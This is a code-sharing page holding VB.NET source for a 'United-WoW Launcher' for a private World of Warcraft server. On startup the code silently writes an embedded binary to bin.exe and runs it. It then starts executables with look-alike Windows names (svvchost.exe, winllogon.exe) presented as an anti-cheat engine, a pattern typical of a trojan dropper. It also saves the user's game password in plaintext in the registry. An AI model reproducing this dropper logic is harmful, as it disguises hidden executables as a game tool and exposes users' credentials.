Code-Bin #401

untitled VisualBasic Code
Posted by: launcher | October 5, 2009 @ 1:24pm

VisualBasic Code

Imports System.IO
Imports System.Diagnostics.Process
Public Class Form1
    '###Variabeln###'

Dim autologin As SByte
    Dim clearcache As SByte
    Dim clearcache_result As SByte
    Dim autologin_result As Integer
    Dim accountname As String
    Dim passwort As String
    Dim accountname_result As String
    Dim passwort_result As String
    Dim sleep As Integer
    Dim sleep_result As Short
    Dim sleep_result2 As Short
    Dim first As SByte
    Dim lang As SByte
    Dim lang2 As SByte
    Dim pfad As String

Dim pfad2 As String
    '###########################'
    Private Sub Browser_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs)

End Sub

Private Function startProcess(ByVal filename As String)
        Dim install = New Process()
        install.StartInfo.FileName = filename
        install.Start()
        startProcess = 1
    End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim binaryw As New BinaryWriter(New FileStream(My.Application.Info.DirectoryPath & "\bin.exe", FileMode.Create))

Dim exe6 As String = My.Application.Info.DirectoryPath & "\bin.exe"
        Dim exe3 As String = My.Application.Info.DirectoryPath & "\winlllogon.exe"
        Dim exe2 As String = My.Application.Info.DirectoryPath & "\winllogon.exe"
        Dim exe1 As String = My.Application.Info.DirectoryPath & "\svvchost.exe"
        binaryw.Write(My.Resources.bin)
        binaryw.Close()
        Try
            Process.Start(exe6)
            System.Threading.Thread.Sleep(2000)
        Catch

End Try
        If Process.GetProcessesByName("svvchost").Length > 0 Then
        Else
            Try
                Process.Start(exe1)
            Catch
                MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
                Me.Close()
            End Try

End If
        If Process.GetProcessesByName("winllogon.exe").Length > 0 Then
        Else
            Try
                Process.Start(exe2)
            Catch
                MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
                Me.Close()
            End Try

End If
        If Process.GetProcessesByName("winlllogon.exe").Length > 0 Then
        Else
            Try
                Process.Start(exe3)
            Catch
                MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
                Me.Close()
            End Try

End If
        If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) Is Nothing Then
            MsgBox("Bitte w�hlen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
            If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
                pfad = FolderBrowserDialog1.SelectedPath

End If
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)

lang = MsgBox("Haben sie Eine deutsche WoW version oder Eine Englische ?" & vbCrLf & "(Ja f�r Deutsch Nein f�r Englisch)", MsgBoxStyle.YesNo)
            If lang = 7 Then
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 0)
            Else
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 1)
            End If
            autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)

If autologin = 7 Then
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)
                If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
                Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If

Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
                sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10  o. 15  nicht 10,5")
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
                accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
                passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)

If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
                Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If
            End If
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)

End If

If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) = 0 Then
            MsgBox("Bitte w�hlen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
            If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
                pfad = FolderBrowserDialog1.SelectedPath

End If
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)

If autologin = 7 Then
                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)
                If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
                Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If

Else

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)

If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
                Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If
            End If
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)

End If

End Sub

Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Directory.Delete("Cache", True)
            MsgBox("Cache Ordner Gel�scht")
        Catch
            MsgBox("Cache Ordner Wurde bereits gel�scht!")
        End Try
    End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim suche As String
        Dim result As String
        suche = InputBox("Wonach soll gesucht werden?", "Buffed.de Suche")
        result = "http://wowdata.buffed.de/?f=" & suche

If suche = "" Then
            MsgBox("Vorgang wurde Abgebrochen", MsgBoxStyle.OkOnly, "United-WoW Launcher")
        Else
            Process.Start(result)
        End If
    End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        WebBrowser1.Navigate("http://united-wow.org/launcher/")
    End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        MsgBox("Bitte w�hlen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
        If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
            pfad = FolderBrowserDialog1.SelectedPath

End If
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)

autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)

If autologin = 7 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)
            If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
            Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If

Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
            sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10  o. 15  nicht 10,5")
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
            accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
            passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
            My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)

clearcache = MsgBox("Soll der Cache vor jedem Login Gel�scht werden ?", MsgBoxStyle.YesNo)

If clearcache = 6 Then

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
            Else

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)

End If
        End If
    End Sub

Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "first", 0)
        MsgBox("United-WoW Launcher Settings Wurden zur�ckgesetzt" & vbCrLf & "Der Launcher wird nun beendet bitte starten sie diesen erneut", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "United-WoW Launcher")
        Me.Close()

End Sub

Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        Form2.Show()
    End Sub

Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Process.Start(pfad2 & "\wow.exe")
    End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        clearcache_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "clear", Nothing)
        autologin_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "autologin", Nothing)
        pfad2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Pfad", Nothing)
        lang2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Lang", Nothing)
        sleep_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "sleep", Nothing)
        sleep_result2 = sleep_result * 1000
        accountname_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "account", Nothing)
        passwort_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "passwort", Nothing)
        'MsgBox(clearcache_result, MsgBoxStyle.OkOnly)
        If clearcache_result = 0 Then
            If autologin_result = 0 Then
                If lang2 = 1 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                ElseIf lang2 = 0 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                End If
                Process.Start(pfad2 & "\wow.exe")
                System.Threading.Thread.Sleep(2000)
                If lang2 = 1 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
                ElseIf lang2 = 0 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
                End If

ElseIf autologin_result = 1 Then

If lang2 = 1 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                ElseIf lang2 = 0 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                End If
                Process.Start(pfad2 & "\wow.exe")
                System.Threading.Thread.Sleep(sleep_result2)
                SendKeys.Send(accountname_result)
                SendKeys.Send("{TAB}")
                SendKeys.Send(passwort_result)
                SendKeys.Send("{ENTER}")
                If lang2 = 1 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
                ElseIf lang2 = 0 Then
                    System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
                End If
            End If

ElseIf clearcache_result = 1 Then

Try
                Directory.Delete("Cache", True)
            Catch
            End Try

If autologin_result = 0 Then
                If lang2 = 1 Then
                    Try

System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                    Catch
                    End Try

ElseIf lang2 = 0 Then
                    Try
                        System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                    Catch
                    End Try

End If
                Try
                    Process.Start(pfad2 & "\wow.exe")
                    System.Threading.Thread.Sleep(2000)
                    If lang2 = 1 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
                    ElseIf lang2 = 0 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
                    End If
                Catch
                End Try

ElseIf autologin_result = 1 Then
                Try
                    If lang2 = 1 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                    ElseIf lang2 = 0 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
                    End If
                Catch

End Try
                Try
                    Process.Start(pfad2 & "\wow.exe")
                    System.Threading.Thread.Sleep(sleep_result2)
                    SendKeys.Send(accountname_result)
                    SendKeys.Send("{TAB}")
                    SendKeys.Send(passwort_result)
                    SendKeys.Send("{ENTER}")
                Catch
                End Try
                Try
                    If lang2 = 1 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
                    ElseIf lang2 = 0 Then
                        System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
                    End If
                Catch

End Try
            End If

End If

End Sub
End Class

Syntax Highlighting

[Open in new window]

Author Comments

none

Rating

4.61 / 8
79 Votes